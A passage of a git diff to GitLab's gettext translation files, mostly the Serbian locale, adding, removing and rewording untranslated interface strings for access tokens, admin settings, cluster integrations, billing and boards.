-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39442,7 +39280,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39505,6 +39346,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39793,6 +39637,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39895,6 +39742,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index fc3ec1ffa46..ff334de89d4 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:48\n"
+"PO-Revision-Date: 2021-07-01 21:35\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -91,6 +88,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -304,12 +304,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -484,6 +478,27 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -529,6 +544,12 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -721,10 +742,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -892,6 +913,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -925,9 +949,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1036,12 +1057,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1072,6 +1087,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1585,9 +1603,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1648,18 +1663,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1864,13 +1870,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1888,16 +1894,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2017,6 +2023,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2026,6 +2035,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2089,6 +2101,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2215,6 +2230,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2464,19 +2479,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2488,7 +2506,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2497,10 +2515,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2911,9 +2926,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3133,12 +3160,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3265,9 +3298,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3334,6 +3364,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3493,9 +3526,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3568,9 +3598,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3622,6 +3649,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3712,6 +3742,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3868,9 +3901,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4147,9 +4177,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4243,15 +4270,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4639,9 +4660,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4831,9 +4849,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5221,6 +5236,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5365,6 +5383,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5425,6 +5446,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5455,6 +5479,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5677,6 +5704,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5845,6 +5875,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5893,10 +5926,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5941,6 +5974,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6064,9 +6100,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6172,15 +6205,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6457,6 +6490,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6559,9 +6595,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6589,6 +6622,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7018,9 +7054,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7030,24 +7063,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7081,15 +7102,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7102,9 +7114,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7126,9 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7147,15 +7153,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7177,9 +7174,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7192,15 +7186,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7222,15 +7213,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7279,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7300,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7318,9 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7363,27 +7333,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7411,9 +7366,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7423,18 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7456,39 +7396,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7522,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7573,12 +7480,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7621,9 +7522,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7633,15 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7678,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7708,9 +7579,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7759,15 +7627,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7792,9 +7654,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7813,27 +7672,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
